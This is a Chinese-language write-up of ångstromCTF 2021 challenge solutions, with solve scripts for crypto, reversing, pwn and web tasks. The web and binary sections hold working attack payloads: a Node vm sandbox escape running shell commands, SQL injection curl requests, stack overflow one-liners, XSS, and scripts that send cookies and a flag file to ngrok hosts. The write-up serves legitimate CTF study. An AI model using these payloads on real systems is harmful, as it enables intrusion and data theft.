我在 ångstromCTF 2021
中自己一個人組一隊練習,最後拿 27
名,有些題目還蠻有趣的所以紀錄一下解法。沒寫的部分我會慢慢補上去。
Misc
Archaic
簡單的 tar 解壓縮。
Fish
用 StegSolve 就能秒殺。
Float On
要把一個雙精度浮點數以 long 表示出來可以用:
bytes_to_long(struct.pack('>d', float('nan')))
之類的方法做到。
第一題是 0.0
,第二題是 nan
。
第三題用 z3 可以知道是 nan
或是
-inf
,不過因為 NaN
不合所以答案只有
-inf
。
1 2 3 4 from z3 import *x = FP('x' , Float64()) solve(x + 1 == x, x * 2 == x)
第四和五也是能用 z3 直接算出來。
CaaSio SE
這題是需要 escape Node.js 內建的 vm
module,還要同時通過
AST 層面的檢查與長度的限制才行。
首先是要先找到方法繞過下方的 code 的保護,因為它用了
Object.create(null)
的緣故所以沒辦法直接從 prototype chain
上去 escape。
1 2 3 const ctx = Object .create (null )vm.runInNewContext (js, ctx)) console .log (ctx.x )
不過這個的關鍵是利用它會去存取 ctx.x
這件事,這部分可以用 Object.defineProperty
去 hook,然後從
arguments.callee.caller
去取得 foreign object 然後從
prototype chain 上面找到 Function
來 escape。
不過在一般情況下如果直接把 get
定義為普通的函數去取用
arguments.callee.caller
的話不知為何會碰到 Strict Mode 的
Error,但是只要把它改成使用 Function
所定義的函數就能繞過了,範例如下:
1 2 3 4 5 6 7 8 9 const vm = require ('vm' )const payload = String .raw ` Object.defineProperty(this, 'x', { get: Function('return arguments.callee.caller.constructor.constructor("return process.mainModule.require(\\"child_process\\").execSync(\\"id\\")+1")()') }) ` const ctx = Object .create (null )vm.runInNewContext (payload, ctx) console .log (ctx.x )
然後之後可以注意到它的 AST check 的部分沒有檢查到 object 的 key 是
computed 的時候是不是 valid 的,所以代表
({[<expr>]:1})
這樣的形式是可以繞過的,不過因為它還有各種的長度限制所以要想辦法繞過去才行,最後所得到的
payload 如下:
1 2 3 4 5 const payload = String .raw ` (z='return arguments.callee.caller.constructo'+'r.constructo'+'r("return process.mainModule.require(\\"child_'+'process\\").execSync(\\"cat flag.txt\\")+1")()',{[(d=Object.defineProperty,a=Function)]:1,[d(this,'x',{get:a(z)})]:1}) ` .slice (1 ,-1 )console .log (payload.length )console .log (payload)
Crypto
Relatively Simple Algorithm
就很單純的 RSA,需要的參數都給你了所以很簡單。
1 2 3 4 5 6 7 8 9 10 11 from Crypto.Util.number import long_to_bytesn = 113138904645172037883970365829067951997230612719077573521906183509830180342554841790268134999423971247602095979484887092205889453631416247856139838680189062511282674134361726455828113825651055263796576482555849771303361415911103661873954509376979834006775895197929252775133737380642752081153063469135950168223 p = 11556895667671057477200219387242513875610589005594481832449286005570409920461121505578566298354611080750154513073654150580136639937876904687126793459819369 q = 9789731420840260962289569924638041579833494812169162102854947552459243338614590024836083625245719375467053459789947717068410632082598060778090631475194567 e = 65537 c = 108644851584756918977851425216398363307810002101894230112870917234519516101802838576315116490794790271121303531868519534061050530562981420826020638383979983010271660175506402389504477695184339442431370630019572693659580322499801215041535132565595864123113626239232420183378765229045037108065155299178074809432 d = pow (e, -1 , (p - 1 ) * (q - 1 )) m = pow (c, d, n) print (long_to_bytes(m))
Exclusive Cipher
用 xortool 不知為何都沒用,所以自己用 z3 寫了個腳本去解。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from z3 import *ct = bytes .fromhex( "ae27eb3a148c3cf031079921ea3315cd27eb7d02882bf724169921eb3a469920e07d0b883bf63c018869a5090e8868e331078a68ec2e468c2bf13b1d9a20ea0208882de12e398c2df60211852deb021f823dda35079b2dda25099f35ab7d218227e17d0a982bee7d098368f13503cd27f135039f68e62f1f9d3cea7c" ) def solve (actf_idx ): KL = 5 key = [BitVec(f"k_{i} " , 8 ) for i in range (KL)] sol = Solver() pt = [] for i in range (len (ct)): pt.append(ct[i] ^ key[i % KL]) for x in pt: sol.add(And(0x20 <= x, x <= 0x7E )) actf = b"actf{" sol.add(And([pt[actf_idx + i] == actf[i] for i in range (len (actf))])) if sol.check() == sat: m = sol.model() key = [m[k].as_long() for k in key] pt = [] for i in range (len (ct)): pt.append(ct[i] ^ key[i % KL]) print (bytes (pt)) for i in range (len (ct) - 4 ): solve(i)
Keysar v2
單純的 Substitution Cipher,用這個網站 可以幫你自動根據頻率解開。
sosig
經典的 Wiener's
attack 。
Home Rolled Crypto
這題關鍵是在於它的加密過程中並沒有做任何移位的操作,代表在每個位置上每個
byte 都是固定的,所以直接建表出來即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 from pwn import *BLOCK_SIZE = 16 conn = remote("crypto.2021.chall.actf.co" , 21602 ) def encrypt (pt ): conn.sendlineafter(b"Would you like to encrypt [1], or try encrypting [2]? " , "1" ) conn.sendlineafter(b"What would you like to encrypt:" , pt.hex ()) return bytes .fromhex(conn.recvline().decode().strip()) ALL = b"" .join([bytes ([i]) * BLOCK_SIZE for i in range (256 )]) ALL_CT = encrypt(ALL) def build_table (): tbl = {} for i in range (256 ): pt = bytes ([i]) * BLOCK_SIZE idx = ALL.index(pt) ct = ALL_CT[idx : idx + len (pt)] for j in range (BLOCK_SIZE): tbl[(j, i)] = ct[j] return tbl def encrypt_with_table (pt, tbl ): s = [] for i in range (len (pt)): s.append(tbl[(i % BLOCK_SIZE, pt[i])]) return bytes (s) table = build_table() conn.sendlineafter(b"Would you like to encrypt [1], or try encrypting [2]? " , "2" ) for _ in range (10 ): conn.recvuntil(b"Encrypt this: " ) pt = bytes .fromhex(conn.recvline().decode().strip()) ct = encrypt_with_table(pt, table) conn.sendline(ct.hex ()) conn.interactive()
Follow the Currents
因為整個 key stream 只和兩個 byte 的 key
有關,所以暴力找出來就好了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import zlibwith open ("enc" , "rb" ) as f: ct = f.read() def keystream (key ): index = 0 while 1 : index += 1 if index >= len (key): key += zlib.crc32(key).to_bytes(4 , "big" ) yield key[index] for a in range (256 ): for b in range (256 ): k = keystream(bytes ([a, b])) pt = [] for x in ct: pt.append(x ^ next (k)) flag = bytes (pt) if b"actf" in flag: print (flag) exit()
I'm so Random
它產生的數字都是兩個自己寫的 PRNG
的結果相乘的結果,所以可以透過把數字分解之後放入 PRNG 裡面作為 seed
看看是不是能正確的生成之後的數字,我自己是多抓兩個數字去測試看看,如果都正確那代表
seed 都是對的,所以就能輸出之後預測的數字。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from sage.all import divisorsa = 3469929343550880 b = 559203964877745 c = 4033819243757304 def get_pairs (n ): for d in divisors(n): if d * d > n: break yield d, n // d class Generator : DIGITS = 8 def __init__ (self, seed ): self.seed = seed def getNum (self ): self.seed = int ( str (self.seed ** 2 ).rjust(self.DIGITS * 2 , "0" )[ self.DIGITS // 2 : self.DIGITS + self.DIGITS // 2 ] ) return self.seed for s1, s2 in get_pairs(a): g1 = Generator(s1) g2 = Generator(s2) if g1.getNum() * g2.getNum() == b: if g1.getNum() * g2.getNum() == c: print (s1, s2) print ("predict:" ) print (g1.getNum() * g2.getNum()) print (g1.getNum() * g2.getNum())
Circle of Trust
它給你了三個點,然後從題目中的 Circle 和 source code
可以看出它其實是一個圓上面的三個點,而圓心分別是 key 和
iv。已知三個點肯定能還原出一個固定的圓,所以剩下要處裡的只有小數精度問題而已,這部分就靠乘一個大整數再除回來即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 from decimal import Decimal, getcontextgetcontext().prec = 50 MULT = 10 ** 10 p1 = ( Decimal("45702021340126875800050711292004769456.2582161398" ), Decimal("310206344424042763368205389299416142157.00357571144" ), ) p2 = ( Decimal("55221733168602409780894163074078708423.359152279" ), Decimal("347884965613808962474866448418347671739.70270575362" ), ) p3 = ( Decimal("14782966793385517905459300160069667177.5906950984" ), Decimal("340240003941651543345074540559426291101.69490484699" ), ) def s_mul (n, p ): return (int (n * p[0 ]), int (n * p[1 ])) def solve_circle (p1, p2, p3 ): from sage.all import var, solve x = var("x" ) y = var("y" ) a = var("a" ) b = var("b" ) r = var("r" ) circle = (x - a) ** 2 + (y - b) ** 2 == r ** 2 eq1 = circle.subs(x == p1[0 ]).subs(y == p1[1 ]) eq2 = circle.subs(x == p2[0 ]).subs(y == p2[1 ]) eq3 = circle.subs(x == p3[0 ]).subs(y == p3[1 ]) return solve([eq1, eq2, eq3], a, b, r) pp1 = s_mul(MULT, p1) pp2 = s_mul(MULT, p2) pp3 = s_mul(MULT, p3) sol = solve_circle(pp1, pp2, pp3) a = int (sol[1 ][0 ].rhs()) b = int (sol[1 ][1 ].rhs()) print (a, b)from Crypto.Cipher import AESkey = (a // MULT).to_bytes(16 , byteorder="big" ) iv = (b // MULT).to_bytes(16 , byteorder="big" ) ct = bytes .fromhex( "838371cd89ad72662eea41f79cb481c9bb5d6fa33a6808ce954441a2990261decadf3c62221d4df514841e18c0b47a76" ) print (AES.new(key, AES.MODE_CBC, iv=iv).decrypt(ct))
有看到有些人是把問題轉化成 Lattice 去解的...
Substitution
這題可以隨意輸入數字 取得
的結果,其中的 是
flag 的字元。所以只要取得足夠數量的
之後就能用矩陣解線性系統得到答案了。至於長度的部分就用猜的就可以了,不是很重要。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 from pwn import *from sage.all import Matrix, Zmod, vectorfrom functools import reduceconn = remote("crypto.2021.chall.actf.co" , 21601 ) def get_num (n ): conn.sendlineafter(b"> " , str (n)) return int (conn.recvline().decode().strip().split(" " )[-1 ]) MXLEN = 50 nums = [get_num(i) for i in range (MXLEN)] def solve (flag_len ): mat = [] for i in range (flag_len): mat.append([pow (i, j, 691 ) for j in range (flag_len)][::-1 ]) M = Matrix(Zmod(691 ), mat) assert M.rank() == flag_len sol = M.solve_right(vector(nums[:flag_len])) if all (0 <= x < 256 for x in sol): flag = bytes (sol.list ()) if b"actf{" in flag: print (flag) exit() for i in range (5 , MXLEN): solve(i)
另一個方法是注意到
是個多項式,既然得到了足夠的
點對之後就能用拉格朗日插值法求出係數並得到 flag。Sage
的插值法說明
Oracle of Blair
CBC 模式的 decrypt iv 來自上個 block 的 ciphertext,然後在控制住 iv
的情況下可以讓它 decrypt 'a'*15 + '?'
,其中的
?
是 flag 的第一個字元,然後再用暴力的去找那個
?
是多少即可,剩下的也是以此類推。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import stringfrom pwn import remote, processconn = remote("crypto.2021.chall.actf.co" , 21112 ) def do_oracle (ct ): conn.sendlineafter(b"give input: " , ct.hex ()) return bytes .fromhex(conn.recvline().decode().strip()) def split_blocks (bs ): blks = [] for i in range (0 , len (bs), 16 ): blks.append(bs[i : i + 16 ]) return blks MAX_LEN = 64 TARGET_BLK = (MAX_LEN // 16 ) - 1 flag = b"actf{" while True : pfx = b"\x00" * (MAX_LEN - 1 - len (flag)) target = split_blocks(do_oracle(pfx + b"{}" ))[TARGET_BLK] for c in string.printable: cur = split_blocks(do_oracle(pfx + flag + c.encode()))[TARGET_BLK] if cur == target: flag += c.encode() break print (flag) if c == "}" : break
Thunderbolt
這題我一開始的做法是想辦法 reverse,但沒做出什麼來,後來想說能不能
pwn 掉之後就隨便輸入了一大堆字元,就很神奇的發現了 flag
自己就跑出來了。後來去問了出題者才知道這題其實是 RC4,但是它在 swap
的地方使用了這種 xor swap:
這種 swap 的重點在於它只對於 a!=b
時有效,如果
a==b
的話則會把兩個都設成 0,而 RC4 在 swap
的時候本來就有可能是遇到兩個相同的值交換的情形,當 key
越長遇到的機率越高,在這種情況下就有很高的機率把 key stream 變成幾乎都是
0,所以 xor 之後的結果還是原本的 flag。
1 python -c 'print("a"*30000)' | nc crypto.2021.chall.actf.co 21603 | python -c 'print(bytes.fromhex(input()[27:]))'
Rev
FREE FLAGS!!1!!
IDA 打開一看就知道結果了。
Jailbreak
用 ltrace 可以知道需要輸入哪些 string
才行,不過很快就會卡在一個地方進入無限迴圈,用 IDA 打開之後會發現它的
string 都是混淆過的,我這邊用了 angr 去 hook 然後把 string print
出來。
之後和 IDA
做一些對照可以發現它是根據按下紅色或是綠色按鈕去改一個變數,最後的值必須要為
1337 時輸入 bananarama
才能得到 flag。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 import angrdef bv2bytes (bv ): h = str (bv).split(" " )[1 ] if h.startswith("0x" ): h = h[2 :] if h.endswith(">" ): h = h[:-1 ] try : return bytes .fromhex(h) except : return bv inp = b"""look around pick the snake up throw the snake at kmh knock on the wall pry the bars open look around press the red button press the green button press the red button press the red button press the green button press the green button press the green button press the red button press the red button press the green button bananarama """ proj = angr.Project("./jailbreak" ) def dump_strings (): i = 0 global inp inp = b"\n" * 5 @proj.hook(0x4015A0 , length=0 ) def hook (state ): nonlocal i print (i) state.regs.rdi = i if i < 29 : i += 1 else : exit() @proj.hook(0x401610 , length=0 ) def hook_ret (state ): print (bv2bytes(state.memory.load(state.regs.rax, 300 ))) def debug (): @proj.hook(0x4011CC , length=0 ) def hook_ret (state ): print ("r12d" , state.regs.r12d) @proj.hook(0x4015A0 , length=0 ) def hook (state ): print ("rdi" , state.regs.rdi) dump_strings() st = proj.factory.full_init_state( args=["./jailbreak" ], add_options=angr.options.unicorn, stdin=inp ) sm = proj.factory.simulation_manager(st) sm.run()
Infinity Gauntlet
這題是 IDA
打開看一下就能知道怎麼寫腳本的題目,解未知數的地方因為我比較懶,直接用
z3 和 eval...
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 from pwn import process, remotefrom z3 import *from tqdm import tqdmimport reFLAG_RGX = re.compile (r"[^\u0000{}]+?{[^\u0000{}]+?}" ) def foo (a, b ): return a ^ (b + 1 ) ^ 1337 def bar (a, b, c ): return a + b * (c + 1 ) def solve (equ ): x = BitVec("x" , 32 ) s = Solver() s.add(eval (equ.replace("?" , "x" ).replace("=" , "==" ))) assert s.check() == sat m = s.model() return m[x].as_long() conn = process("./infinity_gauntlet" ) conn.recvline() conn.recvline() flag = ["\0" ] * 100 for rnd in tqdm(range (1 , 1000 )): conn.recvline() equ = conn.recvline().strip().decode() ans = solve(equ) if rnd > 49 : idx = (ans >> 8 ) - rnd c = chr ((ans ^ (idx * 17 )) & 0xFF ) if idx < 0 : continue flag[idx] = c if FLAG_RGX.match ("" .join(flag)): break conn.sendline(str (ans)) conn.recvline() print (FLAG_RGX.match ("" .join(flag)).group(0 ))
Revex
我的作法是想辦法看懂 regex,一個部分一個部分慢慢讀然後寫成 z3
的條件,最後解出來之後再 call js 去驗證看看即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 import subprocessfrom z3 import *RE = r"^(?=.*re)(?=.{21}[^_]{4}\}$)(?=.{14}b[^_]{2})(?=.{8}[C-L])(?=.{8}[B-F])(?=.{8}[^B-DF])(?=.{7}G(?<pepega>..).{7}t\k<pepega>)(?=.*u[^z].$)(?=.{11}(?<pepeega>[13])s.{2}(?!\k<pepeega>)[13]s)(?=.*_.{2}_)(?=actf\{)(?=.{21}[p-t])(?=.*1.*3)(?=.{20}(?=.*u)(?=.*y)(?=.*z)(?=.*q)(?=.*_))(?=.*Ex)" flag = [BitVec(f"f_{i} " , 8 ) for i in range (26 )] sol = Solver() for c in flag: sol.add(And(0x20 <= c, c <= 125 )) for i, c in enumerate (b"actf{" ): sol.add(flag[i] == c) for i in range (21 , 21 + 4 ): sol.add(flag[i] != ord ("_" )) sol.add(flag[25 ] == ord ("}" )) sol.add(flag[14 ] == ord ("b" )) for i in range (15 , 15 + 2 ): sol.add(flag[i] != ord ("_" )) sol.add(flag[8 ] == ord ("E" )) sol.add(flag[7 ] == ord ("G" )) pepega = flag[8 :10 ] sol.add(flag[17 ] == ord ("t" )) for a, b in zip (pepega, flag[18 :20 ]): sol.add(a == b) pepeega = flag[11 ] sol.add(Or(pepeega == ord ("1" ), pepeega == ord ("3" ))) sol.add(flag[12 ] == ord ("s" )) sol.add(flag[15 ] != pepeega) sol.add(Or(flag[15 ] == ord ("1" ), flag[15 ] == ord ("3" ))) sol.add(flag[16 ] == ord ("s" )) sol.add(And(ord ("p" ) <= flag[21 ], flag[21 ] <= ord ("t" ))) for c in b"uyzq_" : sol.add(Or([f == c for f in flag[20 :]])) sol.add( Or( [ And(flag[i] == ord ("E" ), flag[i + 1 ] == ord ("x" )) for i in range (len (flag) - 1 ) ] ) ) sol.add( Or( [ And(flag[i] == ord ("r" ), flag[i + 1 ] == ord ("e" )) for i in range (len (flag) - 1 ) ] ) ) sol.add( Or( [ And(flag[i] == ord ("_" ), flag[i + 3 ] == ord ("_" )) for i in range (len (flag) - 3 ) ] ) ) cand = [] while sol.check() == sat: m = sol.model() s = bytes ([m[f].as_long() for f in flag]) cand.append(s.decode()) sol.add(Or([a != b for a, b in zip (flag, s)])) for c in cand: r = subprocess.check_output(["node" , "-e" , f'console.log(/{RE} /.test("{c} "))' ]) if b"true" in r: print (c)
lambda lambda
這題的 intended solution 應該是要用 lambda calculus
去解的,不過我不會所以就想辦法找到規律把 flag 暴力找出來...
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 from Crypto.Util.number import long_to_bytesfrom subprocess import check_outputfrom multiprocessing.dummy import Poolimport stringfrom itertools import productdef get_ct (pt ): ret = check_output(["pypy3" , "./ang_lambda_stdin.py" ], input =pt) return long_to_bytes(int (ret.decode().strip())) def removeprefix (self: bytes , prefix: bytes , / ) -> bytes : if self.startswith(prefix): return self[len (prefix) :] else : return self[:] chrs = ( "{_}" + string.digits + string.ascii_lowercase ).encode() flag = b"actf{" ct = long_to_bytes(2692665569775536810618960607010822800159298089096272924 ) while True : l = len (removeprefix(ct, get_ct(flag))) pool = Pool(16 ) for c, ct2 in zip (chrs, pool.imap(get_ct, map (lambda c: flag + bytes ([c]), chrs))): if len (removeprefix(ct, ct2)) < l: flag += bytes ([c]) break else : print ("brute force two" ) for (c, d), ct2 in zip ( product(chrs, repeat=2 ), pool.imap( get_ct, map (lambda x: flag + bytes ([x[0 ], x[1 ]]), product(chrs, repeat=2 )), ), ): if len (removeprefix(ct, ct2)) < l: flag += bytes ([c, d]) break print (flag) pool.terminate() if flag.endswith(b"}" ): break
Binary
Secure Login
它拿 strcmp
和 /dev/urandom
出來的 output
做比較,而第一個 byte 是 \0
的機率是 ,所以就反覆輸入空字串直到成功為止。
tranquil
gdb debug 一下算 return address 的 offset,然後改 ret 即可。
1 printf "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x96\x11\x40\x00\n" | nc shell.actf.co 21830
Sanity Checks
一樣是 gdb debug 一下,然後把 local variable 都改成正確的值就有 flag
了。
1 printf 'password123\x00aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x11\x00\x00\x00=\x00\x00\x00\xf5\x00\x00\x007\x00\x00\x002\x00\x00\x00\n' | nc shell.actf.co 21303
stickystacks
用 printf
從 stack 中拿出 flag 而已。
1 for i in $(seq 31 45); do printf "%%%d\$p\n" $i | nc shell.actf.co 21820 | grep -o '0x.*' | python -c 'print(int(input(),16).to_bytes(8,byteorder="little"))' ; done
Web
Jar
用 pickle 去讀 __main__.flag
就好了,payload 是
(c__main__\nflag\nl.
。
Sea of Quills
直接 SQLi 就行,table 的話也是 injection 就能找出來的。
1 curl "https://seaofquills.2021.chall.actf.co/quills" --data "limit=100&offset=0&cols=url,desc,(select * from flagtable)"
nomnomnom
可以注意到題目有簡單的 XSS,不過卻有以 CSP 的 nonce
去保護住,這個時候可以利用不結束的 <script
去把後面的
nonce="..."
當作自己的 attribute 來用即可。
不過會發現的一件事是它在 Chrome 上起不了作用,看它的 XSSBot
也是有指定使用 Firefox 所以去測試了一下就發現有效,所以就直接把 flag
拿回來即可。
1 2 3 4 5 6 7 await fetch ("https://nomnomnom.2021.chall.actf.co/record" , { "headers" : { "content-type" : "application/json" }, "body" : JSON .stringify ({name :'<script src="data:application/javascript,alert() "' ,score :87 }), "method" : "POST" }).then (r => r.text ())
Reaction.py
這題可以讓你創建兩個 component,而 component
有很多種類,可以發現說它只有一種特殊的 component freq
沒有做 escape,而它還會根據字出現的頻率由小到大 print
出來,所以能用那個去構造 <script>
做 XSS。
不過很快會發現這種 component
的限制在於字頻,所以沒辦法出現重複的字元,也很難弄出很長的
payload,這時就能結合第二個 component 設為 text
,裡面放 js
的內容,其他的 html 就用註解過濾掉即可。閉合的部分因為它最後面還有個
recaptcha 的 tag,可以用它的 </script>
來閉合。
1 2 3 4 5 6 7 8 9 10 11 12 def generate_payload (payload ): s = "" for i, c in enumerate (payload): s += c * (i + 1 ) return s reset() add_component("freq" , generate_payload("<script>/*" )) add_component( "text" , "*/alert(1)//" , )
例如這上面的 script 會產生的結果是:
1 <body > <p > All letters: <script > /*<br > Most frequent: '*'x10</p > <p > */alert(1)//</p > <script src ="https://www.google.com/recaptcha/api.js" async defer > </script > </body >
至於取得 flag 的地方得用 fetch('/?fakeuser=admin')
才能獲得
註: 實際上字串的地方必須使用 ` 字元而非 ' 或是 ",因為 flask 會把它們
escape 掉...
Sea of Quills 2
和前一題差不多,只是多個長度限制和 flag
被放到黑名單中了,不過實際上符號旁邊的空格可以被省略,再來是 table name
是不分大小寫的,所以一樣很簡單就能過。
1 curl "https://seaofquills-two.2021.chall.actf.co/quills" --data "limit=100&offset=0&cols=(select*from FLAGTABLE)"
不過據出題者所說,這題的 intended solution 是利用 Ruby 的 regex
預設是 multiline 的,所以 ^
和 $
實際上 match
的是一行而已,所以只要插入個 \n
就能繞過 regex 檢測。
1 curl "https://seaofquills-two.2021.chall.actf.co/quills" --data "limit=99&cols=(SELECT url&offset=0%0A),* from flagtable"
Spoofy
此題目標是想辦法讓 X-Forwarded-For
變成
1.3.3.7, ... , 1.3.3.7
就能獲得 flag,而題目是架在 Heroku
上的。
我這題是自己在 Heroku 上面架了一個 flask server 去 print
X-Forwarded-For
的值,然後自己隨便測試的時候發現了只要傳兩個
X-Forwarded-For
就能繞過了,所以 payload 如下。
1 curl "https://actf-spoofy.herokuapp.com/" -H 'X-Forwarded-For: 1.3.3.7' -H 'X-Forwarded-For: a, 1.3.3.7'
如果想知道原理的話可以看出題者的 WriteUp: https://hackmd.io/@aplet123/SJcgJRoHu
Jason
這題的 Intended Solution
我一開始不曉得為什麼怎麼用都失敗,方法就是先利用 form 去對
/passcode
submit
passcode=; SameSite=None; Secure
,然後再用 jsnop 以及
referrerPolicy="no-referrer"
去取得 flag。
index.php:
1 2 3 4 5 6 7 8 9 10 11 12 <script > function load (data ) { fetch ('/?data=' + encodeURIComponent (data.items [0 ])).then (close) } open ('cookie.php' ,'_blank' )const s=document .createElement ('script' )s.referrerPolicy ='no-referrer' s.src ='https://jason.2021.chall.actf.co/flags?callback=load' setTimeout (()=> document .body .appendChild (s), 5000 )setInterval (()=> fetch ('/ping' ),10 )</script > <img id =img src ="https://deelay.me/10000/http://example.com" >
cookie.php:
1 2 3 4 <form id =f action ="https://jason.2021.chall.actf.co/passcode" method =POST > <input name =passcode value ='; SameSite=None; Secure;' > </form > <script > f.submit()</script >
不過這並不是我一開始的解法,因為我最初不知為何都沒辦法讓
referrerPolicy
產生作用,所以我的方法是使用前面 Sea of
Quills 的 SQLi 去做 XSS。我在設 cookie 的時候多給它設個 domain,變成
; SameSite=None; Secure; Domain=2021.chall.actf.co
,然後讓它去
Sea of Quills 的 XSS 去讀 document.cookie
就好了。
index.php:
1 2 3 4 5 6 7 8 9 <script > open ('/xss.php?script=xss.js' ,'_blank' )for (var i=0 ;i<1000000000 ;i++);open ('/xss.php?script=xss2.js' ,'_blank' )setInterval (()=> { fetch ('https://example.com' ) },10 ) </script > <img id =img src ="https://deelay.me/10000/http://example.com" >
xss.php:
1 2 3 4 5 6 7 8 9 10 11 12 <form id =fr action ="https://seaofquills.2021.chall.actf.co/quills" method ="POST" > <input name =limit value =1 > <input name =offset value =0 > <input name =cols > </form > <script > const payload='<script src=https://e96adc70eaec.ngrok.io/<?php echo $_GET[' script']; ?>></' +'script>' const params='' +payload.split ('' ).map (x => x.charCodeAt (0 ))const s=`url,desc,(select char(${params} ))` fr.cols .value =s fr.submit () </script >
xss.js:
1 2 3 4 5 6 7 8 9 const fr=document .createElement ('form' )fr.action ='https://jason.2021.chall.actf.co/passcode' fr.method ='POST' const ps=document .createElement ('input' )ps.name ='passcode' ps.value ='; SameSite=None; Secure; Domain=2021.chall.actf.co' fr.appendChild (ps) document .body .appendChild (fr)fr.submit ()
xss2.js:
1 fetch ('https://e96adc70eaec.ngrok.io/report=' +btoa (document .cookie ))
我用這個方法之後出題者直接來 PM
我問說我怎麼做的,然後簡單講過之後它跟我說這個算是 overcomplicated 的
unintended,不過蠻有趣的做法
Watered Down Watermark as a
Service
題目給你了一個 /screenshot
的 endpoint,會用 puppeteer
去瀏覽然後截圖。另一個則是 /add-flag
的
endpoint,會讀取你的 BSON 然後在裡面插入 flag 然後回傳。因為 BSON
的格式問題以及 nosniff
,所以沒辦法構造一個 BSON 作為 HTML
來 XSS 之類的。
這題我的作法是來自原題 DiceCTF 2021 的 unintended
solution (GitHub 的轉載連結 ),我相信不少人也是用這個方法解的。
這個方法簡單來說就是對 localhost
做 port scan 找到
puppeteer 的 debugging protocol 的 port,然後自己去瀏覽
http://localhost:port/json/new?file:///app/flag.txt
可以得到一個 websocket 的 url (以截圖出現),然後再寫個頁面去利用
websocket 去和它溝通取得頁面上的資訊並得到 flag。
probe.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <script > const u = new URL (location.href )const start = parseInt (u.searchParams .get ('start' ))const step = parseInt (u.searchParams .get ('step' ))let anySuccess = false function probeError (port ) { return new Promise (resolve => { let script = document .createElement ('script' ); script.src = `http://localhost:${port} /` ; script.onload = () => { fetch ('/report' +port) resolve (true ) } script.onerror = () => resolve (false ); document .head .appendChild (script); }) } for (let i=start;i<start+step;i++){ probeError (i) } u.searchParams .set ('start' ,start+step) u.searchParams .set ('step' ,step) if (start+step<40000 ){ fetch ('https://wdwaas.2021.chall.actf.co/screenshot?url=' +encodeURIComponent (u.toString ())) } </script >
我用了上面這個去做 port scan,主要在 30000~40000 的範圍找,因為它的
port 幾乎都在這個區間。
找到之後再用下面的 solve.php 去和那個 protocol 溝通取得 flag。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <script > window .ws = new WebSocket ('ws://127.0.0.1:32881/devtools/page/43C135B187E801FF9552F626E278BAFB' ) ws.onerror = (e => {document .writeln ('error' )}) ws.onmessage = (e => { document .writeln ("<p>" +e.data +"</p>" ); }) ws.onopen = ()=> { ws.send (JSON .stringify ({ id :1 , method :"Runtime.evaluate" , params :{ expression :"fetch('https://80a3b922feb5.ngrok.io/flag', {method:'POST', body:document.body.innerHTML})" } })) } </script >
至於 intended solution 的話我其實原本是有想到相近的方向,首先是我在這邊 有看到它說
<img>
實際上不會管
nosniff
,所以我的想法是看看能不能用 BSON 構造出 svg 然後把
flag 放到 <text>
裡面,不過自己測試之後發現都不行,也不太確定是什麼原因。
而出題者的解法則是改用 bmp,利用 bmp 的一些構造可以讓 flag 的 bit
變成黑白的 pixel 顯示出來,然後自己轉回 flag...
細節可以自己到這邊看: https://hackmd.io/@lamchcl/BJpOo2Or_#Watered-Down-Watermark-as-a-Service